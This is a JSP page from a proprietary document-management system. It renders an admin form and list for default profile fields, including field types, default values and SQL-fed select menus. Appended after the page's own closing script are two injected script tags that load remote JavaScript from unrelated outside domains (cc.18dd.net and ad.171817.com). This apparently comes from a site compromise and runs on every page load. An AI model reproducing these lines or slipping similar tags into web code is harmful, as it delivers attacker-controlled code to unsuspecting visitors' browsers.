<%
/*
 * @(#)EditDmsDefaultProfileSetting.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsDefaultProfileSetting.jsp

  This file is reflecting business logic to maint the DMS default profile setting.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    11/01/2003
    @version          $Revision: 1.20.4.14 $
*/
%>
<%@ page import="java.util.*, javax.sql.*, java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDefaultProfileSettingForm" scope="request" class="com.dcivision.dms.web.MaintDmsDefaultProfileSettingForm"/>
<html:javascript formName='maintDmsDefaultProfileSettingForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
 
  int numOfFields = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT).intValue();

  String LIST_NAME = "Dms_Default_Profile_Setting_List";

  String navMode = (maintDmsDefaultProfileSettingForm.getNavMode()==null) ? "" : maintDmsDefaultProfileSettingForm.getNavMode();

  String[][] fieldTypeMap ={{"dms.label.field_type_string", DmsDefaultProfileSetting.FIELD_TYPE_STRING},
                            {"dms.label.field_type_integer", DmsDefaultProfileSetting.FIELD_TYPE_INTEGER},
                            {"dms.label.field_type_float", DmsDefaultProfileSetting.FIELD_TYPE_FLOAT},
                            {"dms.label.field_type_date", DmsDefaultProfileSetting.FIELD_TYPE_DATE},
                            {"dms.label.field_type_select_menu_from_database", DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE},
                            {"dms.label.field_type_select_menu_by_hardcode",DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE}
                           };

  String[][] mandatoryFlagMap = {{"common.label.yes", "Y"},
                                 {"common.label.no", "N"}
                                };
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);                              
  DocumentOperationManager dmsOperationManager = new DocumentOperationManager(sessionContainer, conn);
  DocumentRetrievalManager dmsRetrievalManget = new DocumentRetrievalManager(sessionContainer, conn);
  
  String returnURL="";
  if (GlobalConstant.NAV_MODE_EDIT.equals(navMode)) {
    returnURL="MaintDmsDefaultProfileSetting.do";
  } else if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
    returnURL="MaintDmsDefaultProfileSetting.do";
  } else {
    returnURL="ListDocumentProfile.do";
  }
%>

<html:form action='dms/MaintDmsDefaultProfileSetting' onsubmit='return(false)' styleClass="form-style-2">
<script language="Javascript">
<!--
function OpEdit() {
  if(maintDmsDefaultProfileSettingForm.fieldType.value=='<%=DmsDefaultProfileSetting.FIELD_TYPE_INTEGER%>'
	|| maintDmsDefaultProfileSettingForm.fieldType.value=='<%=DmsDefaultProfileSetting.FIELD_TYPE_FLOAT%>'){
	var v=maintDmsDefaultProfileSettingForm.defaultValue.value;
	var regex = /^\d+(\.\d+)?$/;  
	if(maintDmsDefaultProfileSettingForm.fieldType.value=='<%=DmsDefaultProfileSetting.FIELD_TYPE_INTEGER%>'){
	  regex = /^\d+$/;
	}
    if (v.trim()!='' && !regex.test(v)){
      alert("\n<bean:message key='dms.label.dms_profile_check_message'/>\n");
      return false;
    }
  }
  maintDmsDefaultProfileSettingForm.opMode.value="<%=GlobalConstant.OP_MODE_UPDATE%>";
  maintDmsDefaultProfileSettingForm.navMode.value="<%=GlobalConstant.NAV_MODE_VIEW%>";
  return OpSave();
}

function OpListSaveChange(frm) {
  document.maintDmsDefaultProfileSettingForm.opMode.value="<%=DmsOperationConstant.SAVE_DEF_PROFILE_LIST%>";
  document.maintDmsDefaultProfileSettingForm.navMode.value="<%=GlobalConstant.NAV_MODE_VIEW%>";
  document.maintDmsDefaultProfileSettingForm.submit();
  return (false);
}

function getDefaultField(){
  document.maintDmsDefaultProfileSettingForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
  document.maintDmsDefaultProfileSettingForm.submit();
}

function getFieldNumber(){
var num=<%=numOfFields%>;
var hasUserDEF=<%=dmsRetrievalManget.hasUserDEF(numOfFields)%>;
  if(num > document.maintDmsDefaultProfileSettingForm.number.value && hasUserDEF ){
    if (!confirm("The profile field value be used ,are you sure to remove the field?")) {
      return(false);
    }
  }
  document.maintDmsDefaultProfileSettingForm.opMode.value="GET_FIELD_NUMBER";
  document.maintDmsDefaultProfileSettingForm.submit();
  return false;
}

function SetTableRowColor4ProfilePage(theRow, theRowNum, theAction, theRecordID, theAlterRowFlag,selfFlag) {
  if (!LIST_EFFECT_ENABLE) {
    return;
  }
  var theCells = null;
  var thePointerColor = "#B5D2EA";
  var theMarkColor = "#FFCC99";
  var theDefaultColor = "#EEEEEE";
  if (theRowNum % 2 == 0 || theAlterRowFlag) {
    theDefaultColor = "#FFFFFF";
  }

  // 1. Pointer and mark feature are disabled or the browser can't get the
  //  row -> exits
  if ((thePointerColor == '' && theMarkColor == '')
    || typeof(theRow.style) == 'undefined') {
    return false;
  }

  // 2. Gets the current row and exits if the browser can't get it
  if (typeof(document.getElementsByTagName) != 'undefined') {
    theCells = theRow.getElementsByTagName('td');
  }
  else if (typeof(theRow.cells) != 'undefined') {
    theCells = theRow.cells;
  }
  else {
    return false;
  }

  // 3. Gets the current color...
  var rowCellsCnt  = theCells.length;
  var domDetect  = null;
  var currentColor = null;
  var newColor   = null;
  // 3.1 ... with DOM compatible browsers except Opera that does not return
  //     valid values with "getAttribute"
  if (typeof(window.opera) == 'undefined'
    && typeof(theCells[0].getAttribute) != 'undefined') {
    currentColor = theCells[0].getAttribute('bgcolor');
    domDetect  = true;
  }
  // 3.2 ... with other browsers
  else {
    currentColor = theCells[0].style.backgroundColor;
    domDetect  = false;
  } // end 3

  // 4. Defines the new color
  // 4.1 Current color is the default one
  if (!currentColor || currentColor == ''
    || currentColor.toLowerCase() == theDefaultColor.toLowerCase()) {
    if (theAction == 'over' && thePointerColor != '') {
      newColor        = thePointerColor;
    }
    else if (theAction == 'click' && theMarkColor != '') {
      newColor        = theMarkColor;
      g_marked_row[theRowNum] = true;
      ToggleDefaultCheckbox4ProfilePage(theRecordID,selfFlag);
    }
  }
  // 4.1.2 Current color is the pointer one
  else if (currentColor.toLowerCase() == thePointerColor.toLowerCase()
       && (typeof(g_marked_row[theRowNum]) == 'undefined' || !g_marked_row[theRowNum])) {
    if (theAction == 'out') {
      newColor        = theDefaultColor;
    }
    else if (theAction == 'click' && theMarkColor != '') {
	//alert("222" + selfFlag);
      newColor        = theMarkColor;
      g_marked_row[theRowNum] = true;
      ToggleDefaultCheckbox4ProfilePage(theRecordID,selfFlag);
    }
  }
  // 4.1.3 Current color is the marker one
  else if (currentColor.toLowerCase() == theMarkColor.toLowerCase()) {
    if (theAction == 'click') {
	//alert("333"+selfFlag);
      newColor        = (thePointerColor != '')
                  ? thePointerColor
                  : theDefaultColor;
      g_marked_row[theRowNum] = (typeof(g_marked_row[theRowNum]) == 'undefined' || !g_marked_row[theRowNum])
                  ? true
                  : null;
      ToggleDefaultCheckbox4ProfilePage(theRecordID,selfFlag);
    }
  } // end 4

  // 5. Sets the new color...
  if (newColor) {
    var c = null;
    // 5.1 ... with DOM compatible browsers except Opera
    if (domDetect) {
      for (c = 0; c < rowCellsCnt; c++) {
        theCells[c].setAttribute('bgcolor', newColor, 0);
      } // end for
    }
    // 5.2 ... with other browsers
    else {
      for (c = 0; c < rowCellsCnt; c++) {
        theCells[c].style.backgroundColor = newColor;
      }
    }
  } // end 5

  return true;
} // end of the 'SetTableRowColor()' function

function ToggleDefaultCheckbox4ProfilePage(theRecordID,selfFlag) {
  var chkAry = FindObj(selfFlag);

  if (chkAry) {
    if (chkAry[0]) {
      var allCheckFlag = true;
      for (var loopCnt = 0; loopCnt < chkAry.length; loopCnt++) {
        if (chkAry[loopCnt].value == theRecordID) {
			
          chkAry[loopCnt].checked = !chkAry[loopCnt].checked;
        }
        if (!chkAry[loopCnt].checked) {
          allCheckFlag = false;
        }
      }
      if (chkAry[0].form.PARADM_CB_ALL_NONE) {
        chkAry[0].form.PARADM_CB_ALL_NONE.checked = allCheckFlag;
      }
    } else {
		
      chkAry.checked = !chkAry.checked;
      if (chkAry.form.PARADM_CB_ALL_NONE) {
        chkAry.form.PARADM_CB_ALL_NONE.checked = chkAry.checked;
      }
    }
  }
}

function showHideValueSuggestFlag(obj){
	if (obj.value == "S"){
		document.getElementById("valueSuggestFlagSpan").style["display"] = "";
		document.maintDmsDefaultProfileSettingForm.valueSuggestFlag.value = "Y";
	} else {
		document.getElementById("valueSuggestFlagSpan").style["display"] = "none";
		document.maintDmsDefaultProfileSettingForm.valueSuggestFlag.value = "N";
	}
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='updateCount'/>

          <%if (GlobalConstant.NAV_MODE_EDIT.equals(navMode)) {%>
<layout:tabContainer id="tab1">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
<layout:sectionHeader name="dms.label.default_profile_field"/>
          <tr>
            <td class="formLabelSmallMan" width="25%" nowrap><bean:message key='dms.label.field_name'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><html:text property='fieldName' size='50' maxlength='225' styleClass="form-style-2-textfield"/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.field_label'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><html:text property='fieldLabel' size='50' maxlength='225' styleClass="form-style-2-textfield"/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.field_type'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
              <html:select property="fieldType"  onchange='showHideValueSuggestFlag(this);getDefaultField();' styleClass="form-style-2-pulldown">
                <html:options stringArray='<%=fieldTypeMap%>' hasSelect="false"/>
              </html:select>
            </td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.mandatory_flag'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
              <html:select property="mandatoryFlag" styleClass="form-style-2-pulldown">
                <html:options stringArray='<%=mandatoryFlagMap%>' hasSelect="false"/>
              </html:select>
            </td>
          </tr>
					<tr id="valueSuggestFlagSpan" style="display:none;">
						<td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.value_suggest_flag'/>:&nbsp;</td>
						<td class="formFieldSmall" width="75%">
							<html:radio property="valueSuggestFlag" value="Y" /><bean:message key='dms.label.enable' />&nbsp;&nbsp;&nbsp;&nbsp;
							<html:radio property="valueSuggestFlag" value="N" /><bean:message key='dms.label.disable' />&nbsp;
						</td>
					</tr>
					<script language="javascript">
					<!--
						showHideValueSuggestFlag(document.maintDmsDefaultProfileSettingForm.fieldType);
					-->
					</script>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.default_value'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
             
              <%
                if(DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(maintDmsDefaultProfileSettingForm.getFieldType())){
              %>
                <html:checkbox property='useSystemDate' value='Y' /><bean:message key='dms.label.default_use_sys_date'/>
				<html:hidden property='defaultValue'/>
              <%}else if(DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(maintDmsDefaultProfileSettingForm.getFieldType())){
                  DmsDefaultProfileSetting dmsDefaultProfileSetting =(DmsDefaultProfileSetting)maintDmsDefaultProfileSettingForm.getFormData();
                   
                   String[][] tmpAry = null;
                   if(!Utility.isEmpty(dmsDefaultProfileSetting.getSqlStat())){
                    
                     tmpAry=dmsOperationManager.getOptionStringArray(dmsDefaultProfileSetting);  
                   %>
                   <html:select property='defaultValue' styleClass="form-style-2-pulldown">
                     <html:options stringArray='<%=tmpAry%>'/>
                   </html:select>                   
                   <%}else{ %>
                     <bean:message key='dms.label.not_applicable'/>
                   <%  
                     }
                   %>
                 
              <% }else{ %>
                  <html:text property='defaultValue' size='50' maxlength='255' styleClass="form-style-2-textfield"/>      
              <%}%>
            </td>
          </tr>
          <%   if(DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(maintDmsDefaultProfileSettingForm.getFieldType()))   {
          %>
            <tr>
              <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.default_select_values'/>:&nbsp;</td>
              <td class="formFieldSmall" width="75%">
                <html:text property='defaultSelectValues' size='50' styleClass="form-style-2-textfield"/> 
              </td>
            </tr>
          <%}%>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.reference'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><html:text property='reference' size='10' maxlength='10' styleClass="form-style-2-short-textfield"/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap valign="top"><bean:message key='dms.label.sql_stat'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><html:textarea property='sqlStat' cols='60' rows='6' textlimit='200' styleClass="form-style-2-pulldown"/></td>
          </tr>
          <tr>
            <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
          </tr>
          </table>
          </div>
          </layout:tabContainer>
<div id="bottomButtonArea">
	<div id="buttonSection">
		<html:standardButton label="common.label.save" onClick="return OpEdit()"/>
    </div>
</div>
          <%} else if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {%>
<layout:tabContainer id="tab1">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
<layout:sectionHeader name="dms.label.dms_default_profile_setting_view"/>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.field_name'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><bean:write name='maintDmsDefaultProfileSettingForm' property='fieldName'/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.field_label'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><bean:write name='maintDmsDefaultProfileSettingForm' property='fieldLabel'/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.field_type'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
              <html:select property="fieldType" >
                <html:options stringArray='<%=fieldTypeMap%>' hasSelect="false"/>
              </html:select>
            </td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.mandatory_flag'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
              <html:select property="mandatoryFlag" >
                <html:options stringArray='<%=mandatoryFlagMap%>' hasSelect="false"/>
              </html:select>
            </td>
          </tr>
					
					<%//Update By Jim Zhou			2006/12/01			EIP-837			add 'if'.
						if(DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(maintDmsDefaultProfileSettingForm.getFieldType())) {
					%>
						<tr id="valueSuggestFlagSpan">
							<td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.value_suggest_flag'/>:&nbsp;</td>
							<td class="formFieldSmall" width="75%">
								<%if (maintDmsDefaultProfileSettingForm.getValueSuggestFlag().equals("Y")) {%> 
									<bean:message key='dms.label.enable' />
								<%} else {%>
									<bean:message key='dms.label.disable' />
								<%}%>
							</td>
						</tr>
					<%
						}
						//Update End
					%>					
					
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.default_value'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%">
             
              <%
                if(DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(maintDmsDefaultProfileSettingForm.getFieldType())){
              %>
                <html:checkbox property='useSystemDate' value='Y' /><bean:message key='dms.label.default_use_sys_date'/>
				<html:hidden property='defaultValue'/>
              <%}else if(DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(maintDmsDefaultProfileSettingForm.getFieldType())){
                   DmsDefaultProfileSetting dmsDefaultProfileSetting =(DmsDefaultProfileSetting)maintDmsDefaultProfileSettingForm.getFormData();
                   
                   String[][] tmpAry = null;
                   if(!Utility.isEmpty(dmsDefaultProfileSetting.getSqlStat())){
                    
                     tmpAry=dmsOperationManager.getOptionStringArray(dmsDefaultProfileSetting);  
                   %>
                   <html:select property='defaultValue'>
                     <html:options stringArray='<%=tmpAry%>'/>
                   </html:select>                   
                   <%}else{ %>
                     <bean:message key='dms.label.not_applicable'/>
                   <%  
                     }
                   %>
                
              <% }else{ %>
                  <html:text property='defaultValue' size='50' maxlength='255'/>&nbsp;      
              <%}%>
            </td>
          </tr>
          <%   if(DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(maintDmsDefaultProfileSettingForm.getFieldType())) {
          %>
            <tr>
              <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.default_select_values'/>:&nbsp;</td>
              <td class="formFieldSmall" width="75%">
                <html:text property='defaultSelectValues' size='50'/> 
              </td>
            </tr>
          <%}%>
        
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.reference'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><bean:write name='maintDmsDefaultProfileSettingForm' property='reference'/></td>
          </tr>
          <tr>
            <td class="formLabelSmall" width="25%" nowrap><bean:message key='dms.label.sql_stat'/>:&nbsp;</td>
            <td class="formFieldSmall" width="75%"><bean:write name='maintDmsDefaultProfileSettingForm' property='sqlStat'/></td>
          </tr>
          <tr>
            <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
          </tr>
          </table>
          </div>
          </layout:tabContainer>
<div id="bottomButtonArea">
	<div id="buttonSection">
    </div>
</div>
          <%} else {%>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
    </div>
</div>
      
<div class="generalContainer">
		<div class="wrapperContainer-clearfix">
		    
		    <div>
		    	<table width="100%">
		    		<layout:sectionHeader name="dms.label.common_field" mandatory="false"/>
		    	</table>
		    </div>
            <div id="dataGrid" class="listTable">
            <table width="100%">
              <thead>
                <th> </th>                
                <th><div class="sep"><bean:message key='common.label.edit'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.field_name'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.field_type'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.mandatory_flag'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.reference'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.sql_stat'/></div></th>
              </thead>

               <tr class="listContent<%=(numOfFields+1)%2%>"
               onmousedown="SetTableRowColor4ProfilePage(this, <%=(numOfFields)%>, 'click', '1','undefined','basicSelected');">
                 <td><html:checkbox property="basicSelected" value="1" onclick="return(false);"/></td>
				 <td></td>
				 <td><bean:message key='dms.label.reference_no'/></td>
                 <td>                  
                  <bean:message key='dms.label.field_type_string'/>
                </td>
                <td>                
                  <bean:message key="common.label.no"/>
                </td>            
                <td><bean:write name="dmsDefaultProfileSetting" property="reference"/></td>
                <td><bean:write name="dmsDefaultProfileSetting" property="sqlStat"/></td>              
               </tr>
               <tr class="listContent<%=(numOfFields+2)%2%>"
               onmousedown="SetTableRowColor4ProfilePage(this, <%=(numOfFields+1)%>, 'click', '2','undefined','basicSelected');">
                   <td><html:checkbox property="basicSelected" value="2" onclick="return(false);"/></td>
				   <td></td>
				   <td><bean:message key='dms.label.description'/></td>
                   <td><bean:message key='dms.label.field_type_string'/></td>
                   <td><bean:message key="common.label.no"/></td>            
                   <td><bean:write name="dmsDefaultProfileSetting" property="reference"/></td>
                   <td><bean:write name="dmsDefaultProfileSetting" property="sqlStat"/></td>
                </tr>
			   </table>
			   </div>
			   <br>
				    <div style="position:relative;">
				    <div style="position:absolute;right:5px;top:0px">
				    <div class="div-1-a">
		<bean:message key='dms.lable.field.number_des'/>
    	<html:select property="number">
    	<%
    		int totalFieldCount = 11;
    		for (int i = 0; i < totalFieldCount; i++) {
    	%>
    		<option value="<%=i%>"<%if (numOfFields == i) {%> selected<%}%>><%=i%></option>
    	<%
            }
        %>
        </html:select>
        </div>
        <html:standardButton label="common.label.save" onClick="return getFieldNumber()"/>
		</div>
		    	<table width="100%">
		    		<layout:sectionHeader name="dms.label.default_profile_field" mandatory="false"/>
		    	</table>
		    </div>
			   <div id="dataGrid" class="listTable">
			   <table width="100%">
			   <thead>
                <th> </th>                
                <th><div class="sep"><bean:message key='common.label.edit'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.field_name'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.field_type'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.mandatory_flag'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.reference'/></div></th>                
                <th><div class="sep"><bean:message key='dms.columnheader.sql_stat'/></div></th>
              </thead>
              <logic:iterate id='dmsDefaultProfileSetting' name='<%=LIST_NAME%>' scope='request' indexId="listLoopCnt">
              <%if (listLoopCnt.intValue() < numOfFields) {%>
              <tr class="listContent<%=(listLoopCnt.intValue()+1)%2%>"
              onmousedown="SetTableRowColor4ProfilePage(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDefaultProfileSetting).getID()%>,'undefined','basicSelectedID');">
                <td>
                  <html:checkbox property="basicSelectedID" value="<%=((AbstractBaseObject)dmsDefaultProfileSetting).getID().toString()%>" onclick="return(false);"/>
                </td>                   
                <td><a href='MaintDmsDefaultProfileSetting.do?navMode=E&ID=<bean:write name='dmsDefaultProfileSetting' property='ID'/>'><html:img src='IconEdit.gif'  align='absmiddle'/></a></td>
                <td><bean:write name="dmsDefaultProfileSetting" property="fieldName"/></td>
                <td>
                  <%
                  String fieldType =((DmsDefaultProfileSetting)dmsDefaultProfileSetting).getFieldType();
                  String outFieldType = "";
                  if (DmsDefaultProfileSetting.FIELD_TYPE_STRING.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_string";
                  } else if (DmsDefaultProfileSetting.FIELD_TYPE_INTEGER.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_integer";
                  } else if (DmsDefaultProfileSetting.FIELD_TYPE_FLOAT.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_float";
                  } else if (DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_date";
                  } else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_DATABASE.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_select_menu_from_database";
                  } else if (DmsDefaultProfileSetting.FIELD_TYPE_SELECT_HARDCODE.equals(fieldType)) {
                      outFieldType = "dms.label.field_type_select_menu_by_hardcode";
                  }
                  %>
                  <bean:message key='<%=outFieldType%>'/>
                </td>
                <td>
                <%if("Y".equals( ((DmsDefaultProfileSetting)dmsDefaultProfileSetting).getMandatoryFlag() )) {%>
                  <bean:message key="common.label.yes"/>
                <%} else {%>
                  <bean:message key="common.label.no"/>
                <%}%></td>
            
                <td><bean:write name="dmsDefaultProfileSetting" property="reference"/></td>
                <td><bean:write name="dmsDefaultProfileSetting" property="sqlStat"/></td>
              </tr>
              <%}%>
              </logic:iterate>   
            </table>
            </div>
            
            <div>
            <table>
            	<tr>
            		<td class="formLabelSmall"><bean:message key='dms.label.display_order'/></td>
            		<td class="formFieldSmall"><html:radio property="selectedOrder"  value='<%=DmsOperationConstant.DEFAULT_PROFILE_SETTING_DESC%>'/><bean:message key='dms.message.show_common_field_first'/></td>
            	</tr>
            	<tr>
            		<td class="formLabelSmall"></td>
            		<td class="formFieldSmall"><html:radio property="selectedOrder"  value='<%=DmsOperationConstant.DEFAULT_PROFILE_SETTING_ASC%>'/><bean:message key='dms.message.show_default_profile_first'/></td>
            	</tr>
            </table>
            </div>
</div>
</div>

<div class="generalBottomButtonArea">
  <div id="buttonSection">
  	<html:standardButton label="dms.label.save_field_for_display" onClick="return OpListSaveChange(maintDmsDefaultProfileSettingForm);"/>
  </div>
</div>
          <%}%>

</html:form>
<!-- Form Section End -->
<script language="JavaScript">
<%if (!"E".equals(maintDmsDefaultProfileSettingForm.getNavMode())){%>
  <%if ("2,1".equals(maintDmsDefaultProfileSettingForm.getSelectedOrder()) ){%>
    document.maintDmsDefaultProfileSettingForm.selectedOrder.checked="true";
  <%}%>
<%}%>

</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>